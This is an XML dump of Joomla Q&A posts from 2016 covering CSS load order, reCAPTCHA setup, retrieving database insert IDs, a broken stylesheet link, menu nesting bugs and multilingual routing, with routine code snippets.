  <row Id="15848" PostTypeId="2" ParentId="15839" CreationDate="2016-03-25T22:20:14.357" Score="1" Body="&lt;p&gt;There is absolutely no reason why animated Gifs should fail to display in Joomla, hover effect or not, so either you have an error in your code, or something else is causing &lt;code&gt;&quot;all kinds of problems&quot;&lt;/code&gt;. If you describe your problem with more detail it possible that someone can help you with the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, the JCE editor uses this code to add hover effect to an image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img onmouseover=&quot;this.src='http://heathersanimations.com/autobadges/auto39.gif';&quot;&#xA; onmouseout=&quot;this.src='http://placehold.it/96x96';&quot;&#xA; src=&quot;http://placehold.it/96x96&quot; alt=&quot;Rollover&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code works fine in Joomla, I just tested it.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-03-25T22:20:14.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15849" PostTypeId="2" ParentId="15847" CreationDate="2016-03-25T23:47:16.943" Score="0" Body="&lt;p&gt;To get the last insertId use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newID = $row-&amp;gt;insertId();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://docs.joomla.org/JDatabase/insertid&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;&#xA;You have to call it just after &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$store = $row-&amp;gt;store(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2016-03-25T23:47:16.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15850" PostTypeId="2" ParentId="10627" CreationDate="2016-03-25T23:50:56.443" Score="1" Body="&lt;p&gt;To get the last insertId use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newID = $row-&amp;gt;insertId();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://docs.joomla.org/JDatabase/insertid&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;&#xA;You have to call it just after &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$store = $row-&amp;gt;store(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2016-03-25T23:50:56.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15851" PostTypeId="2" ParentId="15846" CreationDate="2016-03-26T00:01:49.277" Score="3" Body="&lt;p&gt;He will distribute it. So he is trying to  find a workaround inside the plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution could be to encrypt the email in base64  on php side and decode it on javascript with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Base64.decode(emailEncodedonPHPSide)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By using this, the email cloaker will not detect it as an email&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2016-03-26T00:01:49.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15852" PostTypeId="1" AcceptedAnswerId="15853" CreationDate="2016-03-26T00:29:27.363" Score="5" ViewCount="530" Body="&lt;p&gt;I have been using &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/easyscript&quot; rel=&quot;noreferrer&quot;&gt;EasyScript&lt;/a&gt; to load custom CSS on a website using the Protostar template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oqqyX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oqqyX.png&quot; alt=&quot;EasyScript Custom CSS&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works well and allows me to override the template styling and also third party extension styling (e.g. AcyMailing, CoalaWeb Social Links and Smart Slider in this particular case) as the custom CSS code is loaded last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Joomla 3.5.0, the Protostar template loads custom CSS code from the file at &lt;code&gt;/templates/protostar/css/user.css&lt;/code&gt;, if the file exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the custom CSS is loaded immediately after the Protostar &lt;code&gt;template.css&lt;/code&gt; file so I am not able to use this feature to override the third party extension styling:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GX9uX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GX9uX.png&quot; alt=&quot;Protostar User CSS&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am keen to minimise the number of third party extensions I need to load, how can I make &lt;code&gt;user.css&lt;/code&gt; load after the third party extension stylesheets?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-03-27T14:29:30.190" Title="How can I load the new Protostar custom CSS stylesheet last?" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15853" PostTypeId="2" ParentId="15852" CreationDate="2016-03-26T08:05:15.973" Score="3" Body="&lt;p&gt;One option is to use a stronger selector. With this the position the order of the css doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you would like to modifiy to orginal css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .theComponent .theSelector {&#xA;    color:red;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    html .theComponent .theSelector {&#xA;    color:blue;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5378" LastEditorUserId="5378" LastEditDate="2016-03-26T08:15:02.663" LastActivityDate="2016-03-26T08:15:02.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15854" PostTypeId="1" AcceptedAnswerId="15893" CreationDate="2016-03-26T09:22:20.173" Score="2" ViewCount="906" Body="&lt;p&gt;I would like to display the tags at the top of the article but the author at the bottom. One way to do that would be to tweak the &lt;code&gt;split&lt;/code&gt; option for &lt;code&gt;Position of Article Info&lt;/code&gt; in &lt;code&gt;Article Manager Options&lt;/code&gt;, because it displays the tags below and the author above (I would just have to find the &lt;code&gt;.php&lt;/code&gt; doing this and exchange the code for tags and author). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;● If you think this is the best way to do it, where is this &lt;code&gt;php&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;● If you think there is a better way to do  what I want, how could I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked into &lt;code&gt;templates\proto\html\com_content\article\default.php&lt;/code&gt; (or to be accurate, an override of this file) but I could find a code setting up the position of article info. &lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2016-03-26T13:44:51.887" LastActivityDate="2016-03-29T11:09:55.297" Title="How to display tag on top of article and author at the bottom" Tags="|joomla-3.4|articles|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15855" PostTypeId="1" CreationDate="2016-03-26T09:38:55.733" Score="1" ViewCount="2873" Body="&lt;p&gt;Firefox is reporting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The stylesheet was not loaded because its MIME type, &quot;text/html&quot; is not &quot;text/css&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Chrome says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Resource interpreted as Stylesheet but transferred with MIME type text/html: &quot;&lt;a href=&quot;http://xyz.com/&quot; rel=&quot;nofollow&quot;&gt;http://xyz.com/&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The line which is causing the problem and marked :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/.&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.5 and don't know how to resolve this issue...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the complete header created by joomla core / template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html prefix=&quot;og: http://ogp.me/ns#&quot; xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;de-de&quot; lang=&quot;de-de&quot;&amp;gt;&#xA;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;var siteurl='/';&#xA;var tmplurl='/templates/ja_zite/';&#xA;var isRTL = false;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type='text/javascript' src='http://maps.googleapis.com/maps/api/js?v=3&amp;amp;amp;language=de-DE&amp;amp;amp;libraries=places'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/templates/ja_zite/plugins/jquery-1.10.2.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/templates/ja_zite/plugins/jquery.masonry.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    var $JAM = jQuery.noConflict();&#xA;&#xA;    $JAM(document).ready(function(){&#xA;        var JAMHelper = {&#xA;            sid: null,&#xA;            resize: function(){&#xA;                if($JAM('.itemListMasonry #itemListPrimary').length &amp;gt; 0){&#xA;                    $JAM('.itemListMasonry #itemListPrimary').masonry('reloadItems');&#xA;                }&#xA;            }&#xA;        };&#xA;        if($JAM('.itemListMasonry #itemListPrimary').length &amp;gt; 0){&#xA;            $JAM('.itemListMasonry #itemListPrimary').masonry({&#xA;                itemSelector: '.itemContainer',&#xA;                isResizable: true&#xA;            }); &#xA;        }   &#xA;        $JAM(window).on('resize', function(){&#xA;            clearTimeout(JAMHelper.sid);&#xA;            JAMHelper.sid = setTimeout(JAMHelper.resize, navigator.userAgent.match(/Mobile/i) ? 500 : 250);&#xA;        });&#xA;    }); &#xA;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;base href=&quot;http://kitchen2soul.com/index.php&quot; /&amp;gt;&#xA;  &amp;lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;&#xA;  &amp;lt;meta name=&quot;keywords&quot; content=&quot;kitchen2soul, seminare,stress,management,münchen,psychologie&quot; /&amp;gt;&#xA;  &amp;lt;meta property=&quot;og:url&quot; content=&quot;http://kitchen2soul.com/index.php&quot; /&amp;gt;&#xA;  &amp;lt;meta property=&quot;og:title&quot; content=&quot;Home&quot; /&amp;gt;&#xA;  &amp;lt;meta property=&quot;og:type&quot; content=&quot;website&quot; /&amp;gt;&#xA;  &amp;lt;meta name=&quot;generator&quot; content=&quot;Joomla! - Open Source Content Management&quot; /&amp;gt;&#xA;  &amp;lt;title&amp;gt;Home&amp;lt;/title&amp;gt;&#xA;  &amp;lt;link href=&quot;/index.php&quot; rel=&quot;canonical&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/index.php?jat3action=gzip&amp;amp;amp;jat3type=css&amp;amp;amp;jat3file=t3-assets%2Fcss_92d17.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/.&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/index.php?jat3action=gzip&amp;amp;amp;jat3type=css&amp;amp;amp;jat3file=t3-assets%2Fcss_0750d.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/index.php?jat3action=gzip&amp;amp;amp;jat3type=css&amp;amp;amp;jat3file=t3-assets%2Fcss_7d895.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/index.php?jat3action=gzip&amp;amp;amp;jat3type=css&amp;amp;amp;jat3file=t3-assets%2Fcss_c8a01.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;.title_green  {&#xA;&#xA;color:#56AF75;&#xA;}&#xA;  &amp;lt;/style&amp;gt;&#xA;  &amp;lt;script src=&quot;/index.php?jat3action=gzip&amp;amp;amp;jat3type=js&amp;amp;amp;jat3file=t3-assets%2Fjs_2be01.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type='text/javascript' src='/media/plugin_googlemap3/site/googlemaps/googlemapsv3.js'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function(){&#xA;    jQuery('.hasTooltip').tooltip({&quot;html&quot;: true,&quot;container&quot;: &quot;body&quot;});&#xA;});&#xA;jQuery(function($) {&#xA;            SqueezeBox.initialize({});&#xA;            SqueezeBox.assign($('a.modal').get(), {&#xA;                parse: 'rel'&#xA;            });&#xA;        });&#xA;        function jModalClose() {&#xA;            SqueezeBox.close();&#xA;        }&#xA;jQuery(function($) {&#xA;             $('.hasTip').each(function() {&#xA;                var title = $(this).attr('title');&#xA;                if (title) {&#xA;                    var parts = title.split('::', 2);&#xA;                    var mtelement = document.id(this);&#xA;                    mtelement.store('tip:title', parts[0]);&#xA;                    mtelement.store('tip:text', parts[1]);&#xA;                }&#xA;            });&#xA;            var JTooltips = new Tips($('.hasTip').get(), {&quot;maxTitleChars&quot;: 50,&quot;fixed&quot;: false});&#xA;        });&#xA;  &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;!--[if ie]&amp;gt;&amp;lt;link href=&quot;/plugins/system/jat3/jat3/base-themes/default/css/template-ie.css&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&amp;lt;![endif]--&amp;gt; &#xA;&amp;lt;!--[if ie 7]&amp;gt;&amp;lt;link href=&quot;/plugins/system/jat3/jat3/base-themes/default/css/template-ie7.css&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&amp;lt;![endif]--&amp;gt; &#xA;&amp;lt;!--[if ie 7]&amp;gt;&amp;lt;link href=&quot;/templates/ja_zite/css/template-ie7.css&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&amp;lt;![endif]--&amp;gt; &#xA;&amp;lt;!--[if ie 8]&amp;gt;&amp;lt;link href=&quot;/templates/ja_zite/css/template-ie8.css&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&amp;lt;![endif]--&amp;gt; &#xA;&#xA;&amp;lt;!-- META FOR IOS &amp;amp; HANDHELD --&amp;gt;&#xA;&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;HandheldFriendly&quot; content=&quot;true&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;apple-touch-fullscreen&quot; content=&quot;YES&quot; /&amp;gt;&#xA;&amp;lt;!-- //META FOR IOS &amp;amp; HANDHELD --&amp;gt;&#xA;&#xA;&#xA;&amp;lt;link href=&quot;/plugins/system/jat3/jat3/base-themes/default/images/favicon.ico&quot; rel=&quot;shortcut icon&quot; type=&quot;image/x-icon&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://fonts.googleapis.com/css?family=Open+Sans:300&amp;amp;amp;subset=cyrillic&quot; /&amp;gt;&#xA;&amp;lt;link href='/plugins/system/plugin_googlemap3/plugin_googlemap3.css.php' rel='stylesheet' type='text/css' /&amp;gt;&#xA;&#xA;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;/*dynamic css*/&#xA;    body#bd,&#xA;    div.logo-text h1 a,&#xA;    div.ja-moduletable h3, div.moduletable h3,&#xA;    div.ja-module h3, div.module h3,&#xA;    h1.componentheading, .componentheading,&#xA;    .contentheading,&#xA;    .article-content h1,&#xA;    .article-content h2,&#xA;    .article-content h3,&#xA;    .article-content h4,&#xA;    .article-content h5,&#xA;    .article-content h6&#xA;    {font-family: 'Open Sans';font-weight:300;font-style:300;font-size:14px;&#xA;color:black;}&#xA;    div.logo-text h1, div.logo-text h1 a&#xA;    {font-family: 'Open Sans';font-weight:300;font-style:300;}&#xA;    #ja-splitmenu,&#xA;    #jasdl-mainnav,&#xA;    #ja-cssmenu li,&#xA;    #ja-megamenu ul.level0&#xA;    {font-family: 'Open Sans';font-weight:300;font-style:300;text-transform:uppercase;&#xA;color: #564E4E;}&#xA;    #ja-subnav,&#xA;    #jasdl-subnav,&#xA;    #ja-cssmenu li li,&#xA;    #ja-megamenu ul.level1&#xA;    {font-family: 'Open Sans';font-weight:300;font-style:300;}&#xA;    h1.componentheading, .componentheading&#xA;    {font-family: 'Open Sans';font-weight:300;font-style:300;}&#xA;    .contentheading,&#xA;    .article-content h1,&#xA;    .article-content h2,&#xA;    .article-content h3,&#xA;    .article-content h4,&#xA;    .article-content h5,&#xA;    .article-content h6&#xA;    {font-family: 'Open Sans';font-weight:300;font-style:300; }&#xA;    div.ja-moduletable h3, div.moduletable h3,&#xA;    div.ja-module h3, div.module h3&#xA;    {font-family: 'Open Sans';font-weight:300;font-style:300;}&#xA;&#xA;    body.bd .main {width: 980px;}&#xA;    body.bd #ja-wrapper {min-width: 980px;}&#xA;&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8098" LastActivityDate="2016-03-26T10:07:13.910" Title="Joomla not loading css file" Tags="|joomla-3.x|templates|css|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15856" PostTypeId="1" CreationDate="2016-03-26T10:04:54.763" Score="4" ViewCount="2849" Body="&lt;p&gt;1) Get recaptcha keys from &lt;a href=&quot;http://www.google.com/recaptcha&quot; rel=&quot;noreferrer&quot;&gt;http://www.google.com/recaptcha&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Set these keys to recaptcha plugin and activate it if it's not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Put below code where you want to show recaptcha&lt;/p&gt;&#xA;&#xA;&lt;p&gt;php code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('captcha');&#xA;$dispatcher = JDispatcher::getInstance();&#xA;$dispatcher-&amp;gt;trigger('onInit','dynamic_recaptcha_1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;html code inside form tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;dynamic_recaptcha_1&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I putted this code in my htmp page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = JFactory::getApplication()-&amp;gt;input-&amp;gt;post;&#xA;$dispatcher = JEventDispatcher::getInstance();&#xA;$res=$dispatcher-&amp;gt;trigger('onCheckAnswer',$post['recaptcha_response_field']);&#xA;if(!$res[0]){&#xA;    die('Invalid Captcha');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I placed the above code but after submitting the form I receive a blank page. Can you explain why?&lt;/p&gt;&#xA;" OwnerUserId="8099" LastEditorUserId="1520" LastEditDate="2016-03-26T13:59:12.453" LastActivityDate="2021-09-22T00:36:05.493" Title="How can I use google recaptcha in my custom page?" Tags="|joomla-3.4|cms|custom-module|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15857" PostTypeId="2" ParentId="15855" CreationDate="2016-03-26T10:07:13.910" Score="2" Body="&lt;p&gt;This is a mistake in the template, even if you were using a generated CSS file it would have to be from a different address than the page currently being viewed. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;means, domain root there you have index.php file that generates all the content which is HTML and not CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr. Remove this line, it doesn't do anything, and if you are missing some styling trey looking for it in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/ja_zite/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5755" LastActivityDate="2016-03-26T10:07:13.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15858" PostTypeId="2" ParentId="15847" CreationDate="2016-03-26T11:51:36.937" Score="1" Body="&lt;p&gt;The problem is solved. On Joomla 3.5 the PDO driver does not return an id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is discussed and will be solved: &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/9534&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/issues/9534&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2016-03-26T11:51:36.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15859" PostTypeId="2" ParentId="10627" CreationDate="2016-03-26T11:52:19.613" Score="1" Body="&lt;p&gt;The problem is solved. On Joomla 3.5 the PDO driver does not return an id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is discussed and will be solved: &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/9534&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/issues/9534&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2016-03-26T11:52:19.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15860" PostTypeId="1" AcceptedAnswerId="15862" CreationDate="2016-03-26T13:53:51.883" Score="3" ViewCount="406" Body="&lt;p&gt;When I add a menu item, Joomla shows all menu items on all menus as if they are sub-sub-menu items, ie with a |—|— before the name in the menu manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This breaks the menus, or adds &quot;root&quot; to the URL (ie &lt;a href=&quot;http://www.example.com/root/pagename&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/root/pagename&lt;/a&gt;), until I click &lt;em&gt;rebuild&lt;/em&gt;, which fixes it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to have been happening since I updated to 3.5.0, though I have found previous examples of people complaining about &quot;root&quot; appearing in their URLs who have just been told to click &lt;em&gt;rebuild&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried it on a second 3.5.0 site, and the problem does not happen there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect a rogue database entry somewhere. Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further details&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Editing a menu item does not trigger it&lt;/li&gt;&#xA;&lt;li&gt;&quot;Save as copy&quot; does trigger it&lt;/li&gt;&#xA;&lt;li&gt;Deleting a menu item / Clearing Trash does not trigger it&lt;/li&gt;&#xA;&lt;li&gt;Triggering it on a non-rebuilt menu adds two more sub-links to everything.&lt;/li&gt;&#xA;&lt;li&gt;The parent item remains listed as &quot;parent item root&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-03-26T14:30:36.747" LastActivityDate="2016-03-29T14:03:51.073" Title="Joomla turns all menu items to sub-sub-menu items when adding a new one" Tags="|joomla-3.x|menu|url|submenu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15861" PostTypeId="2" ParentId="15856" CreationDate="2016-03-26T15:24:51.070" Score="4" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;First read carefully in which files the &lt;a href=&quot;https://stackoverflow.com/a/12860744/2780063&quot;&gt;SO&#xA;answer&lt;/a&gt; that you quoted&#xA;tells you to put the code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Also, the code you attached is no longer working in Joomla 3.5. This is due to a change in the reCaptcha plugin. You have to use it like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('captcha');&#xA;$dispatcher = JEventDispatcher::getInstance();&#xA;$dispatcher-&amp;gt;trigger('onInit','my_captcha_div');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And instead of creating a container like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;my_captcha_div&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;create one like the one below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;my_captcha_div&amp;quot; &#xA;    class=&amp;quot;g-recaptcha&amp;quot; &#xA;    data-sitekey=&amp;quot;xxxxxxxxxxxxxx&amp;quot; &#xA;    data-theme=&amp;quot;xxxx&amp;quot; &#xA;    data-size=&amp;quot;xxxx&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Check &lt;strong&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/9544&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt; also for more information.&lt;/p&gt;&#xA;&lt;p&gt;For Joomla 3.5 and above use the response from Олег Косарев.&lt;/p&gt;&#xA;&lt;p&gt;see &lt;a href=&quot;https://www.1joomla.org/2016/11/display-recaptcha-in-your-custom.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.1joomla.org/2016/11/display-recaptcha-in-your-custom.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="15666" LastEditDate="2021-09-22T00:36:05.493" LastActivityDate="2021-09-22T00:36:05.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15862" PostTypeId="2" ParentId="15860" CreationDate="2016-03-26T15:29:39.183" Score="2" Body="&lt;p&gt;I would suggest you to verify Assets Table, because many times that have fixed mysterous problems for me in the past. But unfortunately, there is no free tool for that.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best assests and permission manager is commercial extension &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/acl-manager&quot; rel=&quot;nofollow&quot;&gt;ACL Manager&lt;/a&gt; from &lt;a href=&quot;https://www.aclmanager.net/&quot; rel=&quot;nofollow&quot;&gt;Sander Potjer&lt;/a&gt;, and without it I can't imagine my daily admin routine. &#xA;It discovers &amp;amp; fixes issues with your Joomla assets (permissions) table you may not even be aware of and even configure the backend access to 3rd party components without basic Joomla ACL support. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides great tools for Permissions Management, it has fantastic Diagnostic Tools to find and fix problems with Orphan Assets, Missing Assets, Asset Issues and Admin Access Conflicts.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-26T16:23:45.220" LastActivityDate="2016-03-26T16:23:45.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15864" PostTypeId="1" AcceptedAnswerId="15866" CreationDate="2016-03-27T04:20:05.787" Score="2" ViewCount="493" Body="&lt;p&gt;I am using Joomla 3.5. All is set up for MultiLanguage. Now I have two articles, one in english the other translated in italian. I would like to have an URL that when is used it will redirect the user to the article in the language of the user browser. SEF is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer to not create a menu item for each article I need, but anyway let suppose I have this alias created in menu pointing to the right article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;article-in-english&lt;br&gt;&#xA;articolo-in-italiano&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEF URL will be &lt;code&gt;/en/article-in-english&lt;/code&gt; and &lt;code&gt;/it/articolo-in-italiano&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like is to have only one link &lt;code&gt;/article-for-all&lt;/code&gt; that I could publish and that will redirect to the correct user language automatically.&#xA;But also pointing to &lt;code&gt;/article-in-english&lt;/code&gt; (that has language associations configured) could be ok for me if this could work as a entry point for routing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="5459" LastEditorUserId="3650" LastEditDate="2016-03-27T09:42:38.733" LastActivityDate="2016-03-29T09:17:52.480" Title="One link to point a multilanguage article" Tags="|sef|multilingual|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
